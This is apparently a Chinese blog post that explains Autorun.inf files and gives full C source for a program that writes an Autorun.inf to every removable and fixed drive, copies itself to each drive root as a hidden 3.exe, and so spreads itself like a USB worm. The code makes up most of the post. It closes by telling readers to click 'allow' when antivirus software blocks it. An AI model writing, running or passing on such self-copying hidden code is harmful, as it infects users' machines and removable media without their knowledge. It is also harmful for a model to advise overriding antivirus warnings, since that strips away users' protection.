配置Autorun.inf文件可以使双击磁盘时,自动运行某一应用程序。但是现在只支持CD或者DVD媒体了(以前硬盘也可以)
关于Autorun.inf的组成部分可以参考https://msdn.microsoft.com/zh-cn/cc144200
c语言编写程序的原理是,遍历C~Z所有分区,检查其类型,对所有DRIVE_REMOVABLE||DRIVE_FIXED类型的分区,写入使自身自动运行的Autorun.inf文件,将自身复制到相应分区的根目录下,同时将自己的属性设置为隐藏
程序如下:
1 #include<stdio.h> 2 #include<windows.h> 3 4 int main() 5 { 6 char Disk=NULL; 7 UINT Type=0; 8 FILE *fp; 9 char strFileName[MAX_PATH]={0}; 10 char szDriveName[4]={0}; 11 wsprintf(szDriveName,"C:\0"); 12 13 for(szDriveName[0]=‘C‘;szDriveName[0]<‘Z‘;szDriveName[0]++) 14 { 15 Type=GetDriveType(szDriveName); 16 if((Type==DRIVE_REMOVABLE)||(Type==DRIVE_FIXED)) 17 { 18 Disk=szDriveName[0]; 19 sprintf(strFileName,"%c:\\Autorun.inf",Disk); 20 fp=fopen(strFileName,"w+"); 21 fprintf(fp,"[AutoRun]\n"); 22 fprintf(fp,"OPEN=3.exe\n"); 23 fprintf(fp,"SHELLEXECUTE=3.exe\n"); 24 fprintf(fp,"shell\\Auto\\command=3.exe\n"); 25 fprintf(fp,"shell=Auto"); 26 fclose(fp); 27 28 char selfPath[MAX_PATH]; 29 char allRootPath[30]; 30 GetModuleFileName(0,selfPath,MAX_PATH); 31 sprintf(allRootPath,"%c:\\3.exe",Disk); 32 CopyFile(selfPath,allRootPath,TRUE); 33 SetFileAttributes(allRootPath,FILE_ATTRIBUTE_HIDDEN); 34 } 35 } 36 return 0; 37 }
程序被杀毒软件阻止了,点击允许操作就好
时间: 2024-08-05 12:04:20